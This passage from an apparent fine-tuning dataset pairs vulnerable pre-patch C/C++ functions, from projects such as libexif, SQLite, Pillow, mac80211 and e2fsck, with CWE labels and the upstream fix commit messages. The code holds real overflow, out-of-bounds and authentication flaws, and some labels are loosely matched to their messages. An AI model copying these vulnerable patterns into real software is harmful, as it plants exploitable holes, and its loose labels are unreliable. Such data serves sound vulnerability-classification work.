release\nresources that were already deallocated when usb_register_dev()\nfailed. The patch fixes this race by keeping minor_rwsem locked\nthroughout the entire routine.\n\nReported-and-tested-by: syzbot+30cf45ebfe0b0c4847a1@syzkaller.appspotmail.com\nSigned-off-by: Alan Stern \nCC: \nLink: https://lore.kernel.org/r/Pine.LNX.4.44L0.1908121607590.1659-100000@iolanthe.rowland.org\nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int amqp_handle_input(amqp_connection_state_t state, amqp_bytes_t received_data,\n amqp_frame_t *decoded_frame) {\n size_t bytes_consumed;\n void *raw_frame;\n\n /* Returning frame_type of zero indicates either insufficient input,\n or a complete, ignored frame was read. */\n decoded_frame->frame_type = 0;\n\n if (received_data.len == 0) {\n return AMQP_STATUS_OK;\n }\n\n if (state->state == CONNECTION_STATE_IDLE) {\n state->state = CONNECTION_STATE_HEADER;\n }\n\n bytes_consumed = consume_data(state, &received_data);\n\n /* do we have target_size data yet? if not, return with the\n expectation that more will arrive */\n if (state->inbound_offset < state->target_size) {\n return (int)bytes_consumed;\n }\n\n raw_frame = state->inbound_buffer.bytes;\n\n switch (state->state) {\n case CONNECTION_STATE_INITIAL:\n /* check for a protocol header from the server */\n if (memcmp(raw_frame, \"AMQP\", 4) == 0) {\n decoded_frame->frame_type = AMQP_PSEUDOFRAME_PROTOCOL_HEADER;\n decoded_frame->channel = 0;\n\n decoded_frame->payload.protocol_header.transport_high =\n amqp_d8(amqp_offset(raw_frame, 4));\n decoded_frame->payload.protocol_header.transport_low =\n amqp_d8(amqp_offset(raw_frame, 5));\n decoded_frame->payload.protocol_header.protocol_version_major =\n amqp_d8(amqp_offset(raw_frame, 6));\n decoded_frame->payload.protocol_header.protocol_version_minor =\n amqp_d8(amqp_offset(raw_frame, 7));\n\n return_to_idle(state);\n return (int)bytes_consumed;\n }\n\n /* it's not a protocol header; fall through to process it as a\n regular frame header */\n\n case CONNECTION_STATE_HEADER: {\n amqp_channel_t channel;\n amqp_pool_t *channel_pool;\n /* frame length is 3 bytes in */\n channel = amqp_d16(amqp_offset(raw_frame, 1));\n\n state->target_size =\n amqp_d32(amqp_offset(raw_frame, 3)) + HEADER_SIZE + FOOTER_SIZE;\n\n if ((size_t)state->frame_max < state->target_size) {\n return AMQP_STATUS_BAD_AMQP_DATA;\n }\n\n channel_pool = amqp_get_or_create_channel_pool(state, channel);\n if (NULL == channel_pool) {\n return AMQP_STATUS_NO_MEMORY;\n }\n\n amqp_pool_alloc_bytes(channel_pool, state->target_size,\n &state->inbound_buffer);\n if (NULL == state->inbound_buffer.bytes) {\n return AMQP_STATUS_NO_MEMORY;\n }\n memcpy(state->inbound_buffer.bytes, state->header_buffer, HEADER_SIZE);\n raw_frame = state->inbound_buffer.bytes;\n\n state->state = CONNECTION_STATE_BODY;\n\n bytes_consumed += consume_data(state, &received_data);\n\n /* do we have target_size data yet? if not, return with the\n expectation that more will arrive */\n if (state->inbound_offset < state->target_size) {\n return (int)bytes_consumed;\n }\n }\n /* fall through to process body */\n\n case CONNECTION_STATE_BODY: {\n amqp_bytes_t encoded;\n int res;\n amqp_pool_t *channel_pool;\n\n /* Check frame end marker (footer) */\n if (amqp_d8(amqp_offset(raw_frame, state->target_size - 1)) !=\n AMQP_FRAME_END) {\n return AMQP_STATUS_BAD_AMQP_DATA;\n }\n\n decoded_frame->frame_type = amqp_d8(amqp_offset(raw_frame, 0));\n decoded_frame->channel = amqp_d16(amqp_offset(raw_frame, 1));\n\n channel_pool =\n amqp_get_or_create_channel_pool(state, decoded_frame->channel);\n if (NULL == channel_pool) {\n return AMQP_STATUS_NO_MEMORY;\n }\n\n switch (decoded_frame->frame_type) {\n case AMQP_FRAME_METHOD:\n decoded_frame->payload.method.id =\n amqp_d32(amqp_offset(raw_frame, HEADER_SIZE));\n encoded.bytes = amqp_offset(raw_frame, HEADER_SIZE + 4);\n encoded.len = state->target_size - HEADER_SIZE - 4 - FOOTER_SIZE;\n\n res = amqp_decode_method(decoded_frame->payload.method.id,\n channel_pool, encoded,\n &decoded_frame->payload.method.decoded);\n if (res < 0) {\n return res;\n }\n\n break;\n\n case AMQP_FRAME_HEADER:\n decoded_frame->payload.properties.class_id =\n amqp_d16(amqp_offset(raw_frame, HEADER_SIZE));\n /* unused 2-byte weight field goes here */\n decoded_frame->payload.properties.body_size =\n amqp_d64(amqp_offset(raw_frame, HEADER_SIZE + 4));\n encoded.bytes = amqp_offset(raw_frame, HEADER_SIZE + 12);\n encoded.len = state->target_size - HEADER_SIZE - 12 - FOOTER_SIZE;\n decoded_frame->payload.properties.raw = encoded;\n\n res = amqp_decode_properties(\n decoded_frame->payload.properties.class_id, channel_pool, encoded,\n &decoded_frame->payload.properties.decoded);\n if (res < 0) {\n return res;\n }\n\n break;\n\n case AMQP_FRAME_BODY:\n decoded_frame->payload.body_fragment.len =\n state->target_size - HEADER_SIZE - FOOTER_SIZE;\n decoded_frame->payload.body_fragment.bytes =\n amqp_offset(raw_frame, HEADER_SIZE);\n break;\n\n case AMQP_FRAME_HEARTBEAT:\n break;\n\n default:\n /* Ignore the frame */\n decoded_frame->frame_type = 0;\n break;\n }\n\n return_to_idle(state);\n return (int)bytes_consumed;\n }\n\n default:\n amqp_abort(\"Internal error: invalid amqp_connection_state_t->state %d\",\n state->state);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-190', 'CWE-787'], 'message': 'lib: check frame_size is >= INT32_MAX\n\nWhen parsing a frame header, validate that the frame_size is less than\nor equal to INT32_MAX. Given frame_max is limited between 0 and\nINT32_MAX in amqp_login and friends, this does not change the API.\n\nThis prevents a potential buffer overflow when a malicious client sends\na frame_size that is close to UINT32_MAX, in which causes an overflow\nwhen computing state->target_size resulting in a small value there. A\nbuffer is then allocated with the small amount, then memcopy copies the\nframe_size writing to memory beyond the end of the buffer.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int sqlite3WindowRewrite(Parse *pParse, Select *p){\n int rc = SQLITE_OK;\n if( p->pWin && p->pPrior==0 && (p->selFlags & SF_WinRewrite)==0 ){\n Vdbe *v = sqlite3GetVdbe(pParse);\n sqlite3 *db = pParse->db;\n Select *pSub = 0; /* The subquery */\n SrcList *pSrc = p->pSrc;\n Expr *pWhere = p->pWhere;\n ExprList *pGroupBy = p->pGroupBy;\n Expr *pHaving = p->pHaving;\n ExprList *pSort = 0;\n\n ExprList *pSublist = 0; /* Expression list for sub-query */\n Window *pMWin = p->pWin; /* Master window object */\n Window *pWin; /* Window object iterator */\n Table *pTab;\n\n pTab = sqlite3DbMallocZero(db, sizeof(Table));\n if( pTab==0 ){\n return SQLITE_NOMEM;\n }\n\n p->pSrc = 0;\n p->pWhere = 0;\n p->pGroupBy = 0;\n p->pHaving = 0;\n p->selFlags &= ~SF_Aggregate;\n p->selFlags |= SF_WinRewrite;\n\n /* Create the ORDER BY clause for the sub-select. This is the concatenation\n ** of the window PARTITION and ORDER BY clauses. Then, if this makes it\n ** redundant, remove the ORDER BY from the parent SELECT. */\n pSort = sqlite3ExprListDup(db, pMWin->pPartition, 0);\n pSort = exprListAppendList(pParse, pSort, pMWin->pOrderBy, 1);\n if( pSort && p->pOrderBy && p->pOrderBy->nExpr<=pSort->nExpr ){\n int nSave = pSort->nExpr;\n pSort->nExpr = p->pOrderBy->nExpr;\n if( sqlite3ExprListCompare(pSort, p->pOrderBy, -1)==0 ){\n sqlite3ExprListDelete(db, p->pOrderBy);\n p->pOrderBy = 0;\n }\n pSort->nExpr = nSave;\n }\n\n /* Assign a cursor number for the ephemeral table used to buffer rows.\n ** The OpenEphemeral instruction is coded later, after it is known how\n ** many columns the table will have. */\n pMWin->iEphCsr = pParse->nTab++;\n pParse->nTab += 3;\n\n selectWindowRewriteEList(pParse, pMWin, pSrc, p->pEList, pTab, &pSublist);\n selectWindowRewriteEList(pParse, pMWin, pSrc, p->pOrderBy, pTab, &pSublist);\n pMWin->nBufferCol = (pSublist ? pSublist->nExpr : 0);\n\n /* Append the PARTITION BY and ORDER BY expressions to the to the \n ** sub-select expression list. They are required to figure out where \n ** boundaries for partitions and sets of peer rows lie. */\n pSublist = exprListAppendList(pParse, pSublist, pMWin->pPartition, 0);\n pSublist = exprListAppendList(pParse, pSublist, pMWin->pOrderBy, 0);\n\n /* Append the arguments passed to each window function to the\n ** sub-select expression list. Also allocate two registers for each\n ** window function - one for the accumulator, another for interim\n ** results. */\n for(pWin=pMWin; pWin; pWin=pWin->pNextWin){\n ExprList *pArgs = pWin->pOwner->x.pList;\n if( pWin->pFunc->funcFlags & SQLITE_FUNC_SUBTYPE ){\n selectWindowRewriteEList(pParse, pMWin, pSrc, pArgs, pTab, &pSublist);\n pWin->iArgCol = (pSublist ? pSublist->nExpr : 0);\n pWin->bExprArgs = 1;\n }else{\n pWin->iArgCol = (pSublist ? pSublist->nExpr : 0);\n pSublist = exprListAppendList(pParse, pSublist, pArgs, 0);\n }\n if( pWin->pFilter ){\n Expr *pFilter = sqlite3ExprDup(db, pWin->pFilter, 0);\n pSublist = sqlite3ExprListAppend(pParse, pSublist, pFilter);\n }\n pWin->regAccum = ++pParse->nMem;\n pWin->regResult = ++pParse->nMem;\n sqlite3VdbeAddOp2(v, OP_Null, 0, pWin->regAccum);\n }\n\n /* If there is no ORDER BY or PARTITION BY clause, and the window\n ** function accepts zero arguments, and there are no other columns\n ** selected (e.g. \"SELECT row_number() OVER () FROM t1\"), it is possible\n ** that pSublist is still NULL here. Add a constant expression here to \n ** keep everything legal in this case. \n */\n if( pSublist==0 ){\n pSublist = sqlite3ExprListAppend(pParse, 0, \n sqlite3Expr(db, TK_INTEGER, \"0\")\n );\n }\n\n pSub = sqlite3SelectNew(\n pParse, pSublist, pSrc, pWhere, pGroupBy, pHaving, pSort, 0, 0\n );\n p->pSrc = sqlite3SrcListAppend(pParse, 0, 0, 0);\n if( p->pSrc ){\n Table *pTab2;\n p->pSrc->a[0].pSelect = pSub;\n sqlite3SrcListAssignCursors(pParse, p->pSrc);\n pSub->selFlags |= SF_Expanded;\n pTab2 = sqlite3ResultSetOfSelect(pParse, pSub, SQLITE_AFF_NONE);\n if( pTab2==0 ){\n rc = SQLITE_NOMEM;\n }else{\n memcpy(pTab, pTab2, sizeof(Table));\n pTab->tabFlags |= TF_Ephemeral;\n p->pSrc->a[0].pTab = pTab;\n pTab = pTab2;\n }\n sqlite3VdbeAddOp2(v, OP_OpenEphemeral, pMWin->iEphCsr, pSublist->nExpr);\n sqlite3VdbeAddOp2(v, OP_OpenDup, pMWin->iEphCsr+1, pMWin->iEphCsr);\n sqlite3VdbeAddOp2(v, OP_OpenDup, pMWin->iEphCsr+2, pMWin->iEphCsr);\n sqlite3VdbeAddOp2(v, OP_OpenDup, pMWin->iEphCsr+3, pMWin->iEphCsr);\n }else{\n sqlite3SelectDelete(db, pSub);\n }\n if( db->mallocFailed ) rc = SQLITE_NOMEM;\n sqlite3DbFree(db, pTab);\n }\n\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-755'], 'message': 'When an error occurs while rewriting the parser tree for window functions\nin the sqlite3WindowRewrite() routine, make sure that pParse->nErr is set,\nand make sure that this shuts down any subsequent code generation that might\ndepend on the transformations that were implemented. This fixes a problem\ndiscovered by the Yongheng and Rui fuzzer.\n\nFossilOrigin-Name: e2bddcd4c55ba3cbe0130332679ff4b048630d0ced9a8899982edb5a3569ba7f'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int vpx_rb_read_bit(struct vpx_read_bit_buffer *rb) {\n const size_t off = rb->bit_offset;\n const size_t p = off >> 3;\n const int q = 7 - (int)(off & 0x7);\n if (rb->bit_buffer + p < rb->bit_buffer_end) {\n const int bit = (rb->bit_buffer[p] >> q) & 1;\n rb->bit_offset = off + 1;\n return bit;\n } else {\n rb->error_handler(rb->error_handler_data);\n return 0;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'vp9: fix OOB read in decoder_peek_si_internal\n\nProfile 1 or 3 bitstreams may require 11 bytes for the header in the\nintra-only case.\n\nAdditionally add a check on the bit reader's error handler callback to\nensure it's non-NULL before calling to avoid future regressions.\n\nThis has existed since at least (pre-1.4.0):\n09bf1d61c Changes hdr for profiles > 1 for intraonly frames\n\nBUG=webm:1543\n\nChange-Id: I23901e6e3a219170e8ea9efecc42af0be2e5c378'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: std::string GetTempFileName() {\n#if !defined _MSC_VER && !defined __MINGW32__\n std::string temp_file_name_template_str =\n std::string(std::getenv(\"TEST_TMPDIR\") ? std::getenv(\"TEST_TMPDIR\") :\n \".\") +\n \"/libwebm_temp.XXXXXX\";\n char* temp_file_name_template =\n new char[temp_file_name_template_str.length() + 1];\n memset(temp_file_name_template, 0, temp_file_name_template_str.length() + 1);\n temp_file_name_template_str.copy(temp_file_name_template,\n temp_file_name_template_str.length(), 0);\n int fd = mkstemp(temp_file_name_template);\n std::string temp_file_name =\n (fd != -1) ? std::string(temp_file_name_template) : std::string();\n delete[] temp_file_name_template;\n if (fd != -1) {\n close(fd);\n }\n return temp_file_name;\n#else\n char tmp_file_name[_MAX_PATH];\n#if defined _MSC_VER || defined MINGW_HAS_SECURE_API\n errno_t err = tmpnam_s(tmp_file_name);\n#else\n char* fname_pointer = tmpnam(tmp_file_name);\n errno_t err = (fname_pointer == &tmp_file_name[0]) ? 0 : -1;\n#endif\n if (err == 0) {\n return std::string(tmp_file_name);\n }\n return std::string();\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'update libwebm to libwebm-1.0.0.27-352-g6ab9fcf\n\nhttps://chromium.googlesource.com/webm/libwebm/+log/af81f26..6ab9fcf\n\nChange-Id: I9d56e1fbaba9b96404b4fbabefddc1a85b79c25d'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: exif_data_load_data_entry (ExifData *data, ExifEntry *entry,\n\t\t\t const unsigned char *d,\n\t\t\t unsigned int size, unsigned int offset)\n{\n\tunsigned int s, doff;\n\n\tentry->tag = exif_get_short (d + offset + 0, data->priv->order);\n\tentry->format = exif_get_short (d + offset + 2, data->priv->order);\n\tentry->components = exif_get_long (d + offset + 4, data->priv->order);\n\n\t/* FIXME: should use exif_tag_get_name_in_ifd here but entry->parent \n\t * has not been set yet\n\t */\n\texif_log (data->priv->log, EXIF_LOG_CODE_DEBUG, \"ExifData\",\n\t\t \"Loading entry 0x%x ('%s')...\", entry->tag,\n\t\t exif_tag_get_name (entry->tag));\n\n\t/* {0,1,2,4,8} x { 0x00000000 .. 0xffffffff } \n\t * -> { 0x000000000 .. 0x7fffffff8 } */\n\ts = exif_format_get_size(entry->format) * entry->components;\n\tif ((s < entry->components) || (s == 0)){\n\t\treturn 0;\n\t}\n\n\t/*\n\t * Size? If bigger than 4 bytes, the actual data is not\n\t * in the entry but somewhere else (offset).\n\t */\n\tif (s > 4)\n\t\tdoff = exif_get_long (d + offset + 8, data->priv->order);\n\telse\n\t\tdoff = offset + 8;\n\n\t/* Sanity checks */\n\tif ((doff + s < doff) || (doff + s < s) || (doff + s > size)) {\n\t\texif_log (data->priv->log, EXIF_LOG_CODE_DEBUG, \"ExifData\",\n\t\t\t\t \"Tag data past end of buffer (%u > %u)\", doff+s, size);\t\n\t\treturn 0;\n\t}\n\n\tentry->data = exif_data_alloc (data, s);\n\tif (entry->data) {\n\t\tentry->size = s;\n\t\tmemcpy (entry->data, d + doff, s);\n\t} else {\n\t\tEXIF_LOG_NO_MEMORY(data->priv->log, \"ExifData\", s);\n\t\treturn 0;\n\t}\n\n\t/* If this is the MakerNote, remember the offset */\n\tif (entry->tag == EXIF_TAG_MAKER_NOTE) {\n\t\tif (!entry->data) {\n\t\t\texif_log (data->priv->log, EXIF_LOG_CODE_DEBUG, \"ExifData\",\n\t\t\t\t\t \"MakerNote found with empty data\");\t\n\t\t} else if (entry->size > 6) {\n\t\t\texif_log (data->priv->log,\n\t\t\t\t\t EXIF_LOG_CODE_DEBUG, \"ExifData\",\n\t\t\t\t\t \"MakerNote found (%02x %02x %02x %02x \"\n\t\t\t\t\t \"%02x %02x %02x...).\",\n\t\t\t\t\t entry->data[0], entry->data[1], entry->data[2],\n\t\t\t\t\t entry->data[3], entry->data[4], entry->data[5],\n\t\t\t\t\t entry->data[6]);\n\t\t}\n\t\tdata->priv->offset_mnote = doff;\n\t}\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-787'], 'message': 'fix CVE-2019-9278\n\navoid the use of unsafe integer overflow checking constructs (unsigned integer operations cannot overflow, so \"u1 + u2 > u1\" can be optimized away)\n\ncheck for the actual sizes, which should also handle the overflows\ndocument other places google patched, but do not seem relevant due to other restrictions\n\nfixes https://github.com/libexif/libexif/issues/26'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ImagingPcxDecode(Imaging im, ImagingCodecState state, UINT8* buf, Py_ssize_t bytes)\n{\n UINT8 n;\n UINT8* ptr;\n\n if (strcmp(im->mode, \"1\") == 0 && state->xsize > state->bytes * 8) {\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n\n ptr = buf;\n\n for (;;) {\n\n\tif (bytes < 1)\n\t return ptr - buf;\n\n\tif ((*ptr & 0xC0) == 0xC0) {\n\n\t /* Run */\n\t if (bytes < 2)\n\t\treturn ptr - buf;\n\n\t n = ptr[0] & 0x3F;\n\n\t while (n > 0) {\n\t\tif (state->x >= state->bytes) {\n\t\t state->errcode = IMAGING_CODEC_OVERRUN;\n\t\t break;\n\t\t}\n\t\tstate->buffer[state->x++] = ptr[1];\n\t\tn--;\n\t }\n\n\t ptr += 2; bytes -= 2;\n\n\t} else {\n\n\t /* Literal */\n\t state->buffer[state->x++] = ptr[0];\n\t ptr++; bytes--;\n\n\t}\n\n\tif (state->x >= state->bytes) {\n if (state->bytes % state->xsize && state->bytes > state->xsize) {\n int bands = state->bytes / state->xsize;\n int stride = state->bytes / bands;\n int i;\n for (i=1; i< bands; i++) { // note -- skipping first band\n memmove(&state->buffer[i*state->xsize],\n &state->buffer[i*stride],\n state->xsize);\n }\n }\n\t /* Got a full line, unpack it */\n\t state->shuffle((UINT8*) im->image[state->y + state->yoff] +\n\t\t\t state->xoff * im->pixelsize, state->buffer,\n\t\t\t state->xsize);\n\n\t state->x = 0;\n\n\t if (++state->y >= state->ysize) {\n\t\t/* End of file (errcode = 0) */\n\t\treturn -1;\n\t }\n\t}\n\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'Catch PCX P mode buffer overrun'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ieee80211_add_station(struct wiphy *wiphy, struct net_device *dev,\n\t\t\t\t const u8 *mac,\n\t\t\t\t struct station_parameters *params)\n{\n\tstruct ieee80211_local *local = wiphy_priv(wiphy);\n\tstruct sta_info *sta;\n\tstruct ieee80211_sub_if_data *sdata;\n\tint err;\n\tint layer2_update;\n\n\tif (params->vlan) {\n\t\tsdata = IEEE80211_DEV_TO_SUB_IF(params->vlan);\n\n\t\tif (sdata->vif.type != NL80211_IFTYPE_AP_VLAN &&\n\t\t sdata->vif.type != NL80211_IFTYPE_AP)\n\t\t\treturn -EINVAL;\n\t} else\n\t\tsdata = IEEE80211_DEV_TO_SUB_IF(dev);\n\n\tif (ether_addr_equal(mac, sdata->vif.addr))\n\t\treturn -EINVAL;\n\n\tif (is_multicast_ether_addr(mac))\n\t\treturn -EINVAL;\n\n\tif (params->sta_flags_set & BIT(NL80211_STA_FLAG_TDLS_PEER) &&\n\t sdata->vif.type == NL80211_IFTYPE_STATION &&\n\t !sdata->u.mgd.associated)\n\t\treturn -EINVAL;\n\n\tsta = sta_info_alloc(sdata, mac, GFP_KERNEL);\n\tif (!sta)\n\t\treturn -ENOMEM;\n\n\tif (params->sta_flags_set & BIT(NL80211_STA_FLAG_TDLS_PEER))\n\t\tsta->sta.tdls = true;\n\n\terr = sta_apply_parameters(local, sta, params);\n\tif (err) {\n\t\tsta_info_free(local, sta);\n\t\treturn err;\n\t}\n\n\t/*\n\t * for TDLS and for unassociated station, rate control should be\n\t * initialized only when rates are known and station is marked\n\t * authorized/associated\n\t */\n\tif (!test_sta_flag(sta, WLAN_STA_TDLS_PEER) &&\n\t test_sta_flag(sta, WLAN_STA_ASSOC))\n\t\trate_control_rate_init(sta);\n\n\tlayer2_update = sdata->vif.type == NL80211_IFTYPE_AP_VLAN ||\n\t\tsdata->vif.type == NL80211_IFTYPE_AP;\n\n\terr = sta_info_insert_rcu(sta);\n\tif (err) {\n\t\trcu_read_unlock();\n\t\treturn err;\n\t}\n\n\tif (layer2_update)\n\t\tcfg80211_send_layer2_update(sta->sdata->dev, sta->sta.addr);\n\n\trcu_read_unlock();\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287'], 'message': 'mac80211: Do not send Layer 2 Update frame before authorization\n\nThe Layer 2 Update frame is used to update bridges when a station roams\nto another AP even if that STA does not transmit any frames after the\nreassociation. This behavior was described in IEEE Std 802.11F-2003 as\nsomething that would happen based on MLME-ASSOCIATE.indication, i.e.,\nbefore completing 4-way handshake. However, this IEEE trial-use\nrecommended practice document was published before RSN (IEEE Std\n802.11i-2004) and as such, did not consider RSN use cases. Furthermore,\nIEEE Std 802.11F-2003 was withdrawn in 2006 and as such, has not been\nmaintained amd should not be used anymore.\n\nSending out the Layer 2 Update frame immediately after association is\nfine for open networks (and also when using SAE, FT protocol, or FILS\nauthentication when the station is actually authenticated by the time\nassociation completes). However, it is not appropriate for cases where\nRSN is used with PSK or EAP authentication since the station is actually\nfully authenticated only once the 4-way handshake completes after\nauthentication and attackers might be able to use the unauthenticated\ntriggering of Layer 2 Update frame transmission to disrupt bridge\nbehavior.\n\nFix this by postponing transmission of the Layer 2 Update frame from\nstation entry addition to the point when the station entry is marked\nauthorized. Similarly, send out the VLAN binding update only if the STA\nentry has already been authorized.\n\nSigned-off-by: Jouni Malinen \nReviewed-by: Johannes Berg \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int fill_dir_block(ext2_filsys fs,\n\t\t\t blk64_t *block_nr,\n\t\t\t e2_blkcnt_t blockcnt,\n\t\t\t blk64_t ref_block EXT2FS_ATTR((unused)),\n\t\t\t int ref_offset EXT2FS_ATTR((unused)),\n\t\t\t void *priv_data)\n{\n\tstruct fill_dir_struct\t*fd = (struct fill_dir_struct *) priv_data;\n\tstruct hash_entry \t*new_array, *ent;\n\tstruct ext2_dir_entry \t*dirent;\n\tchar\t\t\t*dir;\n\tunsigned int\t\toffset, dir_offset, rec_len, name_len;\n\tint\t\t\thash_alg, hash_flags;\n\n\tif (blockcnt < 0)\n\t\treturn 0;\n\n\toffset = blockcnt * fs->blocksize;\n\tif (offset + fs->blocksize > fd->inode->i_size) {\n\t\tfd->err = EXT2_ET_DIR_CORRUPTED;\n\t\treturn BLOCK_ABORT;\n\t}\n\n\tdir = (fd->buf+offset);\n\tif (*block_nr == 0) {\n\t\tmemset(dir, 0, fs->blocksize);\n\t\tdirent = (struct ext2_dir_entry *) dir;\n\t\t(void) ext2fs_set_rec_len(fs, fs->blocksize, dirent);\n\t} else {\n\t\tint flags = fs->flags;\n\t\tfs->flags |= EXT2_FLAG_IGNORE_CSUM_ERRORS;\n\t\tfd->err = ext2fs_read_dir_block4(fs, *block_nr, dir, 0,\n\t\t\t\t\t\t fd->dir);\n\t\tfs->flags = (flags & EXT2_FLAG_IGNORE_CSUM_ERRORS) |\n\t\t\t (fs->flags & ~EXT2_FLAG_IGNORE_CSUM_ERRORS);\n\t\tif (fd->err)\n\t\t\treturn BLOCK_ABORT;\n\t}\n\thash_flags = fd->inode->i_flags & EXT4_CASEFOLD_FL;\n\thash_alg = fs->super->s_def_hash_version;\n\tif ((hash_alg <= EXT2_HASH_TEA) &&\n\t (fs->super->s_flags & EXT2_FLAGS_UNSIGNED_HASH))\n\t\thash_alg += 3;\n\t/* While the directory block is \"hot\", index it. */\n\tdir_offset = 0;\n\twhile (dir_offset < fs->blocksize) {\n\t\tdirent = (struct ext2_dir_entry *) (dir + dir_offset);\n\t\t(void) ext2fs_get_rec_len(fs, dirent, &rec_len);\n\t\tname_len = ext2fs_dirent_name_len(dirent);\n\t\tif (((dir_offset + rec_len) > fs->blocksize) ||\n\t\t (rec_len < 8) ||\n\t\t ((rec_len % 4) != 0) ||\n\t\t (name_len + 8 > rec_len)) {\n\t\t\tfd->err = EXT2_ET_DIR_CORRUPTED;\n\t\t\treturn BLOCK_ABORT;\n\t\t}\n\t\tdir_offset += rec_len;\n\t\tif (dirent->inode == 0)\n\t\t\tcontinue;\n\t\tif (!fd->compress && (name_len == 1) &&\n\t\t (dirent->name[0] == '.'))\n\t\t\tcontinue;\n\t\tif (!fd->compress && (name_len == 2) &&\n\t\t (dirent->name[0] == '.') && (dirent->name[1] == '.')) {\n\t\t\tfd->parent = dirent->inode;\n\t\t\tcontinue;\n\t\t}\n\t\tif (fd->num_array >= fd->max_array) {\n\t\t\tnew_array = realloc(fd->harray,\n\t\t\t sizeof(struct hash_entry) * (fd->max_array+500));\n\t\t\tif (!new_array) {\n\t\t\t\tfd->err = ENOMEM;\n\t\t\t\treturn BLOCK_ABORT;\n\t\t\t}\n\t\t\tfd->harray = new_array;\n\t\t\tfd->max_array += 500;\n\t\t}\n\t\tent = fd->harray + fd->num_array++;\n\t\tent->dir = dirent;\n\t\tfd->dir_size += EXT2_DIR_REC_LEN(name_len);\n\t\tent->ino = dirent->inode;\n\t\tif (fd->compress)\n\t\t\tent->hash = ent->minor_hash = 0;\n\t\telse {\n\t\t\tfd->err = ext2fs_dirhash2(hash_alg,\n\t\t\t\t\t\t dirent->name, name_len,\n\t\t\t\t\t\t fs->encoding, hash_flags,\n\t\t\t\t\t\t fs->super->s_hash_seed,\n\t\t\t\t\t\t &ent->hash, &ent->minor_hash);\n\t\t\tif (fd->err)\n\t\t\t\treturn BLOCK_ABORT;\n\t\t}\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'e2fsck: abort if there is a corrupted directory block when rehashing\n\nIn e2fsck pass 3a, when we are rehashing directories, at least in\ntheory, all of the directories should have had corruptions with\nrespect to directory entry structure fixed. However, it's possible\n(for example, if the user declined a fix) that we can reach this stage\nof processing with a corrupted directory entries.\n\nSo check for that case and don't try to process a corrupted directory\nblock so we don't run into trouble in mutate_name() if there is a\nzero-length file name.\n\nAddresses: TALOS-2019-0973\nAddresses: CVE-2019-5188\nSigned-off-by: Theodore Ts'o '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: inline int check(int itemSize, int nItems=1)\n {\n if (ptr + itemSize * nItems > end) {\n if (ptr + itemSize > end)\n return overrun(itemSize, nItems);\n\n nItems = (end - ptr) / itemSize;\n }\n return nItems;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-787'], 'message': 'Use size_t for lengths in stream objects\n\nProvides safety against them accidentally becoming negative because\nof bugs in the calculations.\n\nAlso does the same to CharArray and friends as they were strongly\nconnection to the stream objects.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void copyBytes(InStream* is, int length) {\n while (length > 0) {\n int n = check(1, length);\n is->readBytes(ptr, n);\n ptr += n;\n length -= n;\n }\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-787'], 'message': 'Use size_t for lengths in stream objects\n\nProvides safety against them accidentally becoming negative because\nof bugs in the calculations.\n\nAlso does the same to CharArray and friends as they were strongly\nconnection to the stream objects.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and 